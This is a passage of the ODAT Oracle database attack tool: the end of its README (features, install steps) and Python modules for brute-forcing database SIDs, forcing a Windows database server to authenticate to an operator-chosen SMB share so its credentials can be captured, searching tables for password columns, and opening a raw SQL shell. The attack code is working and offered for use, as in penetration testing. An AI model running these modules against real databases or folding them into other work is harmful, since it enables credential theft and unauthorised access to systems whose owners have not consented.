the *all* module. This module can be used to use file which contains credentials (disable the *-U* and *-P* option) * add the *tnscmd* module to get TNS *alias*, database *version* (thanks to VSNNUM) and TNS *status* * bug fix: name server can be given to the *-s* option * Version __1.2__ (__08/08/2014__) : * add the *SMB* module to capture a SMB authentication * add an option (*SHOW_SQL_REQUESTS_IN_VERBOSE_MODE*) in *Constants.py* to show SQL requests sent to the database server * Version __1.1__ (__28/07/2014__) : * add the *DBMS_LOB* module useful in order to download files stored on a remote server through Oracle Database. * bug fix: java source code: "getenv no longer supported, use properties and -D instead" * Version __1.0__ (__26/06/2014__) : * first ODAT version. Features ==== Thanks to ODAT, you can: * search __valid SID__ on a remote Oracle Database listener via: * a dictionary attack * a brute force attack * ALIAS of the listener * search Oracle __accounts__ using: * a dictionary attack * each Oracle user like the password (need an account before to use this attack) * __execute system commands__ on the database server using: * DBMS_SCHEDULER * JAVA * external tables * oradbg * __download files__ stored on the database server using: * UTL_FILE * DBMS_XSLPROCESSOR * external tables * CTXSYS * DBMS_LOB * __upload files__ on the database server using: * UTL_FILE * DBMS_XSLPROCESSOR * DBMS_ADVISOR * __delete files__ using: * UTL_FILE * __gain privileged access__ using these following system privileges combinations (see help for *privesc* module commands): * CREATE ANY PROCEDURE * CREATE PROCEDURE and EXECUTE ANY PROCEDURE * CREATE ANY TRIGER (and CREATE PROCEDURE) * ANALYZE ANY (and CREATE PROCEDURE) * CREATE ANY INDEX (and CREATE PROCEDURE) * __send/reveive HTTP requests__ from the database server using: * UTL_HTTP * HttpUriType * __scan ports__ of the local server or a remote server using: * UTL_HTTP * HttpUriType * UTL_TCP * __capture a SMB authentication__ through: * an index in order trigger a SMB connection * exploit some CVE: * the [__CVE-2012-3137__](http://cvedetails.com/cve/2012-3137) * pickup the session key and salt for arbitrary users * attack by dictionary on sessions * the [__CVE-2012-????__](https://twitter.com/gokhanatil/status/595853921479991297): A user authenticated can modify all tables who can select even if he can't modify them normally (no ALTER privilege). * the [__CVE-2012-1675__](http://seclists.org/fulldisclosure/2012/Apr/204) (aka TNS poisoning attack) * __search in column names__ thanks to the *search* module: * search a pattern (ex: password) in column names * __unwrap__ PL/SQL source code (10g/11g and 12c) * get __system privileges__ and __roles granted__. It is possible to get privileges and roles of roles granted also * execute arbitrary SELECT requests (aka minimal sql shell) This list is not exhaustive. Mind map - ODAT & Oracle Database pentests ==== ![Alt text](./pictures/odat_mind_map_v1.0.jpg) Supported Platforms and dependencies ==== ODAT is compatible with __Linux__ only. __Standalone version__ exists in order to don't have need to install dependencies (see [https://github.com/quentinhardy/odat/releases/](https://github.com/quentinhardy/odat/releases/)). The ODAT standalone has been generated thanks to *pyinstaller*. If you want to have the __development version__ installed on your computer, these following tools and dependencies are needed: * Langage: Python 3 * Oracle dependancies: * Instant Oracle basic * Instant Oracle sdk * Python libraries: * cx_Oracle * passlib * pycrypto * python-scapy * python-libnmap (new from python 5.1) * colorlog (recommended) * termcolor (recommended) * argcomplete (recommended) * pyinstaller (recommended) Installation (optional, for development version) ==== This part describes how to install instantclient, CX_Oracle and some others python libraries on __Ubuntu__ in order to have the ODAT development version. Don't forget that an ODAT standalone version exists at [https://github.com/quentinhardy/odat/releases/](https://github.com/quentinhardy/odat/releases/): __It is not required to install something for use the standalone version__ * Clone the repository to get the ODAT source code: ```bash git clone https://github.com/quentinhardy/odat.git ``` * Update wiki pages in this repository for getting the ODAT documentation locally: ```bash cd odat/ git submodule init git submodule update ``` * Get instant client basic, sdk (devel) and sqlplus from the Oracle web site: * X64: http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html * X86: http://www.oracle.com/technetwork/topics/linuxsoft-082809.html * For the moment (03/2021), Oracle Database instant client version 11.2 is the best version if you want to generate the ODAT standalone with pyinstaller. For using the ODAT development version, the last version of the Oracle client can be used (e.g. version 19). * Install *python3-dev*, *alien* and *libaio1* package (for sqlplus): ```bash sudo apt-get install libaio1 python3-dev alien python3-pip ``` * Generate DEB files from RPM files with : ```bash sudo alien --to-deb oracle-instantclient19.3-basic-???.x???.rpm sudo alien --to-deb oracle-instantclient19.3-devel-???.x???.rpm ``` * Install instant client basic, sdk and sqlplus: ```bash sudo dpkg -i oracle-instantclient19.3-basic-???.x???.deb sudo dpkg -i oracle-instantclient19.3-devel_???_???.deb ``` * Put these lines in your */etc/profile* file in order to define Oracle *env* variables: ```bash export ORACLE_HOME=/usr/lib/oracle/19.3/client64/ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib export PATH=${ORACLE_HOME}bin:$PATH ``` * Restart your session (to apply env variables) * Create the */etc/ld.so.conf.d/oracle.conf* file and add the path to Oracle home: ``` /usr/lib/oracle/19.3/client64/lib/ ``` * Update the ldpath using: ```bash sudo ldconfig ``` * Install *CX_Oracle* ```bash sudo -s source /etc/profile pip3 install cx_Oracle ``` * Test if all is good: ```bash python3 -c 'import cx_Oracle' ``` > This command should *just return* without errors. * Install some python libraries: ```bash sudo apt-get install python3-scapy sudo pip3 install colorlog termcolor pycrypto passlib python-libnmap sudo pip3 install argcomplete && sudo activate-global-python-argcomplete ``` * Download and install the __development__ version of pyinstaller (http://www.pyinstaller.org/) for python 3. ```bash python setup.py install ``` * or install through pip: ```bash pip3 install pyinstaller ``` * Run ODAT: ```bash ./odat.py -h ``` > __Good job if you have not errors:)__ Docs and examples ==== Docs and examples are on the [__WIKI__](https://github.com/quentinhardy/odat/wiki) Donation ==== If you want to support my work doing a donation, I will appreciate a lot: * Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf odat-5.1.1/SIDGuesser.py000066400000000000000000000110771423220672100150010ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase from time import sleep from itertools import product import logging, string from Tnscmd import Tnscmd from Constants import * from Utils import stringToLinePadded class SIDGuesser (OracleDatabase): ''' SID guesser ''' def __init__(self, args, SIDFile, timeSleep=0): ''' Constructor ''' logging.debug("SIDGuesser object created") OracleDatabase.__init__(self,args) self.SIDFile = SIDFile self.sids = [] self.valideSIDS = [] self.args['SYSDBA'] = False self.args['SYSOPER'] = False self.timeSleep = timeSleep self.NO_GOOD_SID_STRING_LIST = ["listener does not currently know of service requested", "listener does not currently know of SID", "connection to server failed", "destination host unreachable"] def getValidSIDs(self): ''' return a list containing valid sids found ''' return self.valideSIDS def appendValideSID (self, sid): ''' Append to self.valideSIDS a new DIS if no in the list ''' if sid not in self.valideSIDS: self.valideSIDS.append(sid) def __loadSIDsFromFile__(self): ''' return list containing SIDS ''' sids = [] logging.info('Load SIDS stored in the {0} file'.format(self.SIDFile)) f = open(self.SIDFile) for l in f: sids.append(l.replace('\n','').replace('\t','')) f.close() return sorted(sids) def __testIfAGoodSID__(self): ''' Test if it is a good SID Return status of the connection ''' no_good_sid_found = False self.args['serviceName'] = None self.__generateConnectionString__(username=self.__generateRandomString__(nb=15), password=self.__generateRandomString__(nb=5)) logging.debug("Try to connect with the {0} SID ({1})".format(self.args['sid'], self.args['connectionStr'])) status = self.connection() if self.__needRetryConnection__(status) == True: status = self.__retryConnect__(nbTry=4) if status != None : for aNoGoodString in self.NO_GOOD_SID_STRING_LIST: if aNoGoodString in str(status): no_good_sid_found = True break if no_good_sid_found == False: self.appendValideSID(self.args['sid']) logging.info("'{0}' is a valid SID (Server message: {1})".format(self.args['sid'],str(status))) self.args['print'].goodNews(stringToLinePadded("'{0}' is a valid SID. Continue... ".format(self.args['sid']))) self.close() return status def searchKnownSIDs(self): ''' Search valid SIDs THANKS TO a well known sid list Return False if connection error. Return True if SIDs have been tested. ''' self.args['print'].subtitle("Searching valid SIDs thanks to a well known SID list on the {0}:{1} server".format(self.args['server'], self.args['port'])) self.sids += self.__loadSIDsFromFile__() pbar,nb = self.getStandardBarStarted(len(self.sids)), 0 logging.info('Start the research') for aSID in self.sids : nb += 1 pbar.update(nb) self.args['sid'] = aSID connectionStatus = self.__testIfAGoodSID__() sleep(self.timeSleep) pbar.finish() return True def bruteforceSIDs(self, size=4, charset=string.ascii_uppercase): ''' Bruteforce SID ''' self.args['print'].subtitle("Searching valid SIDs thanks to a brute-force attack on {2} chars now ({0}:{1})".format(self.args['server'], self.args['port'], size)) pbar,nb = self.getStandardBarStarted(len(charset)**size), 0 logging.info('Start the research') for aSID in product(list(charset), repeat=size): nb +=1 pbar.update(nb) self.args['sid'] = ''.join(aSID) self.__testIfAGoodSID__() sleep(self.timeSleep) pbar.finish() return True def loadSidsFromListenerAlias(self): ''' Append ALIAS from listener into the SID list to try ALIAS like SID ''' logging.info('Put listener ALIAS into the SID list to try ALIAS like SID') tnscmd = Tnscmd(self.args) tnscmd.getInformation() self.sids += tnscmd.getAlias() def runSIDGuesserModule(args): ''' Run the SIDGuesser module ''' args['print'].title("Searching valid SIDs") sIDGuesser = SIDGuesser(args,args['sids-file'],timeSleep=args['timeSleep']) if args['no-alias-like-sid'] == False : sIDGuesser.loadSidsFromListenerAlias() sIDGuesser.searchKnownSIDs() for aSIDSize in range(args['sids-min-size'], args['sids-max-size']+1): sIDGuesser.bruteforceSIDs(size=aSIDSize, charset=args['sid-charset']) validSIDsList = sIDGuesser.getValidSIDs() if validSIDsList == []: args['print'].badNews("No found a valid SID".format(args['server'], args['port'])) else : args['print'].goodNews("SIDs found on the {0}:{1} server: {2}".format(args['server'], args['port'], ','.join(validSIDsList))) return validSIDsList odat-5.1.1/SMB.py000066400000000000000000000150741423220672100134460ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser import logging from Constants import * class SMB (OracleDatabase): ''' Allow the database to connect to a smb share and implement the smb authentication capture ''' def __init__(self,args): ''' Constructor ''' logging.debug("SMB object created") OracleDatabase.__init__(self,args) self.localIp = "127.0.0.1" self.shareName = "SHARE" self.TABLE_NAME = "ODAT_SMB_table" self.SQL_CREATE_TABLE = "CREATE TABLE {0} (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6))" self.SQL_DROP_TABLE = "DROP TABLE {0}" self.SQL_INSERTINTO = "INSERT INTO {0} VALUES (1, '\\\\{1}\\{2}', NULL)" self.INDEX_NAME = "ODAT_SMB_INDEX" self.SQL_CREATE_INDEX = "CREATE INDEX {0} ON {1}(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format')" self.SQL_DROP_INDEX = "DROP INDEX {0}" self.loadInformationRemoteDatabase() def createTable (self): ''' Create a temporary table ''' logging.info("Creating the table named {0}".format(self.TABLE_NAME)) status = self.__execPLSQL__(self.SQL_CREATE_TABLE.format(self.TABLE_NAME)) if isinstance(status,Exception): logging.info("Impossible to create the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status))) return status else : logging.info("The table named {0} is created".format(self.TABLE_NAME)) logging.info("Inserting into the table named {0} in order to connect to \\\\{1}\\{2}".format(self.TABLE_NAME, self.localIp, self.shareName)) status = self.__execPLSQL__(self.SQL_INSERTINTO.format(self.TABLE_NAME, self.localIp, self.shareName)) if isinstance(status,Exception): logging.info("Impossible to insert into the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status))) return status else : logging.info("Insertion into the table named {0} done".format(self.TABLE_NAME)) return True def deleteTable (self): ''' delete the temporary table ''' logging.info("Deleting the table named {0}".format(self.TABLE_NAME)) status = self.__execPLSQL__(self.SQL_DROP_TABLE.format(self.TABLE_NAME)) if isinstance(status,Exception): logging.info("Impossible to drop the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status))) return status else : logging.info("The table named {0} is dropped".format(self.TABLE_NAME)) return True def createIndex (self): ''' Create an index to start the SMB connection ''' logging.info("Creating the index named {0}. SMB connection is establishing ....".format(self.INDEX_NAME)) status = self.__execPLSQL__(self.SQL_CREATE_INDEX.format(self.INDEX_NAME, self.TABLE_NAME)) if isinstance(status,Exception): logging.info("The index named {0} has not been created: {1}".format(self.INDEX_NAME, self.cleanError(status))) return status else : logging.info("The index named {0} is created. The SMB connection to \\\\{1}\\{2} is done.".format(self.INDEX_NAME, self.localIp, self.shareName)) return True def deleteIndex (self): ''' Delete the index ''' logging.info("Dropping the index named {0}".format(self.INDEX_NAME)) status = self.__execPLSQL__(self.SQL_DROP_INDEX.format(self.INDEX_NAME)) if isinstance(status,Exception): logging.info("The index named {0} has not been dropped: {1}".format(self.INDEX_NAME, self.cleanError(status))) return status else : logging.info("The index named {0} is dropped".format(self.INDEX_NAME, self.localIp, self.shareName)) return True def captureSMBAuthentication (self, localIP, shareName): ''' Capture the SMB authentication ''' self.localIp = localIP self.shareName = shareName logging.info("Delete table and index if exist") self.deleteTable() #Delete the table because the user can stop ODAT between the creation and the deleting self.deleteIndex() #Delete the index because the user can stop ODAT between the creation and the deleting logging.info("Capture the SMB authentication") if self.remoteSystemIsWindows() == True: logging.info("The remote server is Windows, good news") logging.info("Create the table and insert the share name in this one") status = self.createTable() if status == True: logging.info("Create an index") status = self.createIndex() if status == True: self.deleteIndex() self.deleteTable() return True else: self.deleteTable() return status else : self.deleteTable() return status else: logging.info("The remote server is Linux") return ErrorSQLRequest("The remote server is Linux") def testAll(self): ''' Test all functions ''' self.localIp = "127.0.0.1" self.shareName = "SHARE" logging.info("Delete table and index if exist") self.deleteTable() #Delete the table because the user can stop ODAT between the creation and the deleting self.deleteIndex() #Delete the index because the user can stop ODAT between the creation and the deleting self.args['print'].subtitle("SMB authentication capture ?") if self.remoteSystemIsWindows() == True: logging.info("The remote server is Windows") logging.info("Simulate the table creation and insertion") status = self.createTable() if status == True: logging.info("Simulate the index creation") status = self.createIndex() if status != True: self.deleteIndex() self.args['print'].badNews("KO") else: self.args['print'].unknownNews("Perhaps (try with --capture to be sure)") self.deleteTable() else : self.deleteTable() self.args['print'].badNews("KO") else: logging.info("The remote server is Linux") self.args['print'].badNews("KO") def runSMBModule(args): ''' ''' status = True if checkOptionsGivenByTheUser(args,["test-module",'captureSMBAuthentication']) == False : return EXIT_MISS_ARGUMENT smb = SMB(args) status = smb.connection(stopIfError=True) if args['test-module'] == True : args['print'].title("Test if SMB authentication capture can be possible") status = smb.testAll() #Option 1: capture SMB authentication if args['captureSMBAuthentication'] !=None : args['print'].title("Try to capture the SMB authentication (Connection to \\\\{0}\\{1} )".format(args['captureSMBAuthentication'][0],args['captureSMBAuthentication'][1])) status = smb.captureSMBAuthentication(args['captureSMBAuthentication'][0],args['captureSMBAuthentication'][1]) if isinstance(status,Exception): args['print'].badNews("Impossible to capture the SMB authentication") else : args['print'].goodNews("Check your SMB capture tool ...") odat-5.1.1/Search.py000066400000000000000000000433461423220672100142350ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase import logging from Constants import * from Utils import checkOptionsGivenByTheUser, getScreenSize from texttable import Texttable class Search (OracleDatabase): ''' Serach in Databases, tables and columns ''' REQ_INFO_FROM_COLUMN_NAMES = "SELECT owner, table_name, column_name FROM all_tab_columns WHERE column_name LIKE '{0}'" #{0}==pattern REQ_VALUE_IN_COLUMN = 'SELECT "{0}" FROM "{1}"."{2}" WHERE "{0}" is not null and rownum = 1' #{0}==column, {1}==database, {2}==table REQ_GET_ALL_NO_SYSTEM_TABLES = "SELECT DISTINCT owner, table_name FROM all_tables WHERE owner not in ('SYS','SYSTEM')" REQ_GET_COLUMNS_FOR_TABLE = "SELECT column_name, data_type FROM all_tab_columns WHERE table_name='{0}' and owner='{1}'" #{0}==table name, {1}==owner DEFAULT_VALUE_EMPTY_COLUMN = "(Empty Column)" DEFAULT_VALUE_UNKNOWN = "(Unknown)" EXEMPLE_VALUE_LEN_MAX = 40 TRUNCATED_MESSAGE_EXEMPLE = '(Truncated...)' def __init__(self,args): ''' Constructor ''' logging.debug("Search object created") OracleDatabase.__init__(self,args) def searchInColumns(self, sqlPattern, showEmptyColumns, withoutExample=False): ''' Search sqlpattern in all columns names returns a list which contains dicos ex: [{'columnName': 'passwd', 'tableName':'users', 'database':'mysite'}{'columnName': 'password', 'tableName':'users', 'database':'mysitetemp'}] ''' logging.info("Searching pattern '{0}' in column names".format(sqlPattern.upper())) results = self.__execQuery__(query=self.REQ_INFO_FROM_COLUMN_NAMES.format(sqlPattern.upper()), ld=['owner', 'table_name', 'column_name']) if isinstance(results, Exception): logging.error("Impossible to continue in searchInColumns(): {0}".format(results)) return [] table = self.getInfoIntable(results, ["owner","table_name","column_name", "example"], showEmptyColumns=showEmptyColumns, withoutExample=withoutExample) return table def searchPwdKeyworkInColumnNames(self, showEmptyColumns, withoutExample=False): ''' Search sqlpattern in all columns names returns a list which contains dicos ex: [{'columnName': 'passwd', 'tableName':'users', 'database':'mysite'}{'columnName': 'password', 'tableName':'users', 'database':'mysitetemp'}] ''' tables = "" for aPattern in PATTERNS_COLUMNS_WITH_PWDS: table = self.searchInColumns(aPattern, showEmptyColumns=showEmptyColumns, withoutExample=withoutExample) if self.isEmptyTable(table) == True : logging.debug("Nothing to print. Doesn't print the header of the table!") else : logging.debug("Some results, saved") try : tables += "'"+aPattern+"' in column names:\n"+table+"\n\n" except UnicodeDecodeError as e: print("------->"+e) return tables def getDescOfEachNoSystemTable(self): ''' returns a String for print ''' outputString = "" logging.debug("Getting all no system tables accessible with the current user") tablesAccessible = self.__execQuery__(query=self.REQ_GET_ALL_NO_SYSTEM_TABLES, ld=['owner', 'table_name']) if isinstance(tablesAccessible,Exception): logging.warning("Impossible to execute the request '{0}': {1}".format(self.REQ_GET_ALL_NO_SYSTEM_TABLES, tablesAccessible.generateInfoAboutError(self.REQ_GET_ALL_NO_SYSTEM_TABLES))) return "" else: nbTables = len(tablesAccessible) colNb = nbTables if colNb>0 : pbar,currentColNum = self.getStandardBarStarted(colNb), 0 for aTable in tablesAccessible: if colNb>0: currentColNum += 1 pbar.update(currentColNum) request = self.REQ_GET_COLUMNS_FOR_TABLE.format(aTable['table_name'], aTable['owner']) columnsAndTypes = self.__execQuery__(query=request, ld=['column_name', 'data_type']) if isinstance(columnsAndTypes,Exception): logging.warning("Impossible to execute the request '{0}': {1}".format(request, columnsAndTypes.generateInfoAboutError(request))) outputString += "\n[+] {0}.{1} ({2}/{3})\n".format(aTable['owner'], aTable['table_name'], currentColNum, colNb) resultsToTable = [('column_name', 'data_type')] for aLine in columnsAndTypes: resultsToTable.append((aLine['column_name'], aLine['data_type'])) table = Texttable(max_width=getScreenSize()[0]) table.set_deco(Texttable.HEADER) table.add_rows(resultsToTable) outputString += table.draw() outputString += '\n' if colNb>0 : pbar.finish() return outputString def getInfoIntable(self,listOfDicos, columns, showEmptyColumns, withoutExample=False): ''' columns: list which contains column names for the output returns a String for print ''' isStringValueInColumn = False resultsToTable = [columns] colNb = len(listOfDicos) if colNb>0 : pbar,currentColNum = self.getStandardBarStarted(colNb), 0 for e in listOfDicos : isStringValueInColumn = False if colNb>0 : currentColNum += 1 if colNb>0 : pbar.update(currentColNum) l = [] l.append(e['owner']) l.append(e['table_name']) l.append(e['column_name']) if withoutExample == True: l.append(self.DEFAULT_VALUE_UNKNOWN) resultsToTable.append(l) else: logging.debug("Search a not null value in the column '{0}' of the table '{1}'.'{2}' ({3}/{4})".format(e['column_name'], e['owner'], e['table_name'],currentColNum,colNb)) req_value_in_column = self.REQ_VALUE_IN_COLUMN.format(e['column_name'],e['owner'],e['table_name']) aValue = self.__execQuery__(query=req_value_in_column, ld=['value']) if isinstance(aValue,Exception): logging.warning("Impossible to execute the request '{0}' in column names: {1}".format(req_value_in_column, aValue.generateInfoAboutError(req_value_in_column))) l.append(self.DEFAULT_VALUE_UNKNOWN) elif aValue == [] : l.append(self.DEFAULT_VALUE_EMPTY_COLUMN) else : value = aValue[0]['value'] if type(value) is str: isStringValueInColumn = True if len(value) > self.EXEMPLE_VALUE_LEN_MAX: value = value[0:self.EXEMPLE_VALUE_LEN_MAX] + ' ' +self.TRUNCATED_MESSAGE_EXEMPLE l.append(value) else: l.append(self.DEFAULT_VALUE_EMPTY_COLUMN) if isStringValueInColumn == True : resultsToTable.append(l) elif showEmptyColumns==True : resultsToTable.append(l) if colNb>0 : pbar.finish() table = Texttable(max_width=getScreenSize()[0]) table.set_deco(Texttable.HEADER) table.add_rows(resultsToTable) return table.draw() def isEmptyTable (self, table): """ String table """ if table.count('\n') <= 1 : return True else : return False def startInteractiveSQLShell(self): """ Start an interactive SQL shell Return True when finished Tested with: - select - create user - create or replace """ print("Ctrl-D to close the SQL shell") while True: theLine = None allLines = "" print("SQL> ", end='') while theLine != "": try: theLine = input() except EOFError: print("\nSQL shell closed") return True allLines += theLine if allLines != "": results = self.__execQuery__(query=allLines, getColumnNames=True,stringOnly=True) if isinstance(results,Exception): print(results) elif results==[()]: print("Executed successfully") else: table = Texttable(max_width=getScreenSize()[0]) table.set_deco(Texttable.HEADER) table.add_rows(results) print(table.draw()) def getAllPrivs(self): ''' Get all DBA users Use the method of Alexander Kornbrust See details here https://www.doag.org/formes/pubfiles/11859287/2019-DB-Alexander_Kornbrust-Best_of_Oracle_Security_2019-Praesentation.pdf :return: ''' randomViewName = generateRandomString(length=10) REQ_CREATE_VIEW = """ create or replace view v_all_privs as SELECT PRIVILEGE, OBJ_OWNER, OBJ_NAME, USERNAME,COMMON, LISTAGG(GRANT_TARGET, ',') WITHIN GROUP (ORDER BY GRANT_TARGET) AS GRANT_SOURCES, MAX(ADMIN_OR_GRANT_OPT) AS ADMIN_OR_GRANT_OPT, MAX(HIERARCHY_OPT) AS HIERARCHY_OPT FROM ( WITH ALL_ROLES_FOR_USER AS (SELECT DISTINCT CONNECT_BY_ROOT GRANTEE AS GRANTED_USER, GRANTED_ROLE FROM DBA_ROLE_PRIVS CONNECT BY GRANTEE = PRIOR GRANTED_ROLE) SELECT PRIVILEGE, OBJ_OWNER, OBJ_NAME, USERNAME, COMMON, REPLACE(GRANT_TARGET, USERNAME, 'Direct to user') AS GRANT_TARGET,ADMIN_OR_GRANT_OPT, HIERARCHY_OPT FROM ( SELECT distinct PRIVILEGE, NULL AS OBJ_OWNER, NULL AS OBJ_NAME, GRANTEE AS USERNAME, COMMON, GRANTEE AS GRANT_TARGET, ADMIN_OPTION AS ADMIN_OR_GRANT_OPT, NULL AS HIERARCHY_OPT FROM DBA_SYS_PRIVS WHERE GRANTEE IN (SELECT USERNAME FROM DBA_USERS) UNION ALL SELECT PRIVILEGE, NULL AS OBJ_OWNER, NULL AS OBJ_NAME, ALL_ROLES_FOR_USER.GRANTED_USER AS USERNAME, COMMON, GRANTEE AS GRANT_TARGET, ADMIN_OPTION AS ADMIN_OR_GRANT_OPT, NULL AS HIERARCHY_OPT FROM DBA_SYS_PRIVS JOIN ALL_ROLES_FOR_USER ON ALL_ROLES_FOR_USER.GRANTED_ROLE = DBA_SYS_PRIVS.GRANTEE UNION ALL SELECT distinct PRIVILEGE, OWNER AS OBJ_OWNER, TABLE_NAME AS OBJ_NAME, GRANTEE AS USERNAME, COMMON, GRANTEE AS GRANT_TARGET, GRANTABLE, HIERARCHY FROM DBA_TAB_PRIVS WHERE GRANTEE IN (SELECT USERNAME FROM DBA_USERS) UNION ALL SELECT distinct PRIVILEGE, OWNER AS OBJ_OWNER, TABLE_NAME AS OBJ_NAME, GRANTEE AS USERNAME, COMMON, ALL_ROLES_FOR_USER.GRANTED_ROLE AS GRANT_TARGET, GRANTABLE, HIERARCHY FROM DBA_TAB_PRIVS JOIN ALL_ROLES_FOR_USER ON ALL_ROLES_FOR_USER.GRANTED_ROLE = DBA_TAB_PRIVS.GRANTEE union all SELECT distinct PRIVILEGE, OWNER AS OBJ_OWNER, TABLE_NAME||'.'||COLUMN_NAME AS OBJ_NAME, GRANTEE AS USERNAME, COMMON, ALL_ROLES_FOR_USER.GRANTED_ROLE AS GRANT_TARGET, GRANTABLE, null FROM DBA_COL_PRIVS JOIN ALL_ROLES_FOR_USER ON ALL_ROLES_FOR_USER.GRANTED_ROLE = DBA_COL_PRIVS.GRANTEE UNION ALL SELECT distinct PRIVILEGE, OWNER AS OBJ_OWNER, TABLE_NAME||'.'||COLUMN_NAME AS OBJ_NAME, GRANTEE AS USERNAME, COMMON, GRANTEE AS GRANT_TARGET, GRANTABLE, null FROM DBA_COL_PRIVS WHERE GRANTEE IN (SELECT USERNAME FROM DBA_USERS) ) ALL_USER_PRIVS ) DISTINCT_USER_PRIVS GROUP BY PRIVILEGE, OBJ_OWNER, OBJ_NAME, USERNAME, COMMON """.format(randomViewName) REQ_DELETE_VIEW = "DROP VIEW oracle_ocm.{0}".format(randomViewName) def getBasicInformation(self, printStdout=True): ''' Get basic information about the instance and database :return: Dictionary ''' logging.info("getting basic information about instance and database...") DEFINITIONS = ({"REQ":"SELECT systimestamp FROM dual", "PARAM":"systimestamp", "HELP":"System date"}, {"REQ": "SELECT banner FROM V$VERSION", "PARAM": "banner", "HELP": "Version(s)"}, {"REQ": "SELECT sys_context('USERENV', 'SERVER_HOST') FROM dual", "PARAM": "SERVER_HOST", "HELP": "Instance host name"}, {"REQ": "SELECT sys_context('USERENV', 'IP_ADDRESS') FROM dual", "PARAM": "IP_ADDRESS", "HELP": "IP address"}, {"REQ": "SELECT sys_context('USERENV', 'DB_NAME') FROM dual", "PARAM": "DB_NAME", "HELP": "Name of the database - db_name"}, {"REQ": "SELECT sys_context('USERENV', 'DB_UNIQUE_NAME') FROM dual", "PARAM": "DB_UNIQUE_NAME", "HELP": "Name of the database - db_unique_name"}, {"REQ": "SELECT sys_context('USERENV', 'INSTANCE_NAME') FROM dual", "PARAM": "INSTANCE_NAME", "HELP": "Instance name"}, {"REQ": "SELECT sys_context('USERENV', 'SERVICE_NAME') FROM dual", "PARAM": "SERVICE_NAME", "HELP": "Service Name (session)"}, {"REQ": "SELECT sys_context('USERENV', 'HOST') FROM dual", "PARAM": "HOST", "HELP": "Host machine name (client)"}, {"REQ": "SELECT sys_context('USERENV', 'OS_USER') FROM dual", "PARAM": "OS_USER", "HELP": "Username on client OS"}, {"REQ": "SELECT sys_context('USERENV', 'LANGUAGE') FROM dual", "PARAM": "LANGUAGE", "HELP": "Langage"}, {"REQ": "SELECT value FROM V$OPTION WHERE parameter = 'Oracle Database Vault'", "PARAM": "VALUE", "HELP": "Oracle Database Vault is enabled"}, {"REQ": "SELECT value FROM V$OPTION WHERE parameter = 'Java'", "PARAM": "VALUE", "HELP": "JAVA is enabled"}, {"REQ": "SELECT UPPER(VALUE) FROM V$PARAMETER WHERE UPPER(NAME) = 'AUDIT_SYS_OPERATIONS'", "PARAM": "VALUE", "HELP": "Audit is enabled for SYSDBA or SYSOPER"}, {"REQ": "SELECT UPPER(VALUE) FROM V$PARAMETER WHERE UPPER(NAME)='AUDIT_TRAIL'", "PARAM": "VALUE", "HELP": "Basic audit features level"}, {"REQ": "SELECT UPPER(VALUE) FROM V$PARAMETER WHERE UPPER(NAME)='SEC_CASE_SENSITIVE_LOGON'", "PARAM": "VALUE", "HELP": "Case-sensitivity is required for passwords"}, {"REQ": "SELECT UPPER(VALUE) FROM V$PARAMETER WHERE UPPER(NAME)='SEC_MAX_FAILED_LOGIN_ATTEMPTS'", "PARAM": "VALUE", "HELP": "Maximum failed login attemps (connection)"}, {"REQ": "SELECT PROFILE, RESOURCE_NAME, LIMIT FROM DBA_PROFILES WHERE RESOURCE_NAME='FAILED_LOGIN_ATTEMPTS'", "HELP": "Maximum failed login attemps and after locked (days)", "TABLE": True}, {"REQ": "SELECT PROFILE, RESOURCE_NAME, LIMIT FROM DBA_PROFILES WHERE RESOURCE_NAME='PASSWORD_LOCK_TIME'", "HELP": "Password lock time (days)", "TABLE": True}, {"REQ": "SELECT PROFILE, RESOURCE_NAME, LIMIT FROM DBA_PROFILES WHERE RESOURCE_NAME='PASSWORD_LIFE_TIME'", "HELP": "Password life time (days)", "TABLE": True}, {"REQ": "SELECT PROFILE, RESOURCE_NAME, LIMIT FROM DBA_PROFILES WHERE RESOURCE_NAME='PASSWORD_REUSE_MAX'", "HELP": "Password reuse maximum (days)", "TABLE": True}, {"REQ": "SELECT PROFILE, RESOURCE_NAME, LIMIT FROM DBA_PROFILES WHERE RESOURCE_NAME='PASSWORD_GRACE_TIME'", "HELP": "Password grace time (days)", "TABLE": True}, {"REQ": "SELECT PROFILE, RESOURCE_NAME, LIMIT FROM DBA_PROFILES WHERE RESOURCE_NAME='SESSIONS_PER_USER'", "HELP": "Sessions per user", "TABLE": True}, {"REQ": "SELECT * FROM USER_SYS_PRIVS", "HELP": "Current user's privileges (via USER_SYS_PRIVS & no recursion on roles)", "TABLE": True}, {"REQ": "SELECT * FROM USER_ROLE_PRIVS", "HELP": "Current user's roles", "TABLE": True}, {"REQ": "SELECT DISTINCT owner FROM all_tables", "HELP": "Databases", "TABLE":True}, {"REQ": "SELECT username FROM all_users", "HELP": "All visible Users", "TABLE": True}, {"REQ": "SELECT parameter, value FROM V$OPTION", "HELP": "Database options and features", "TABLE": True}, {"REQ": "SELECT * FROM DBA_REGISTRY", "HELP": "Components loaded into the database", "TABLE": True}, {"REQ": "select * from dba_registry_sqlpatch", "HELP": "SQL patches installed (>= 12c)", "TABLE": True}, {"REQ": "SELECT dbms_qopatch.GET_OPATCH_LIST FROM dual", "HELP": "SQL patches installed with DBMS_QOPATCH (>= 12c)", "TABLE": True}, {"REQ": "select * from sys.registry$history", "HELP": "SQL patches installed (== 11g)", "TABLE": True}, ) print("\n") for aDefinition in DEFINITIONS: if 'TABLE' in aDefinition and aDefinition['TABLE'] == True: getColumnNames = True ld = [] else: getColumnNames = False ld = [aDefinition["PARAM"]] response = self.__execThisQuery__(query=aDefinition["REQ"], ld=ld, isquery=True, getColumnNames=getColumnNames, stringOnly=False) if isinstance(response,Exception) : 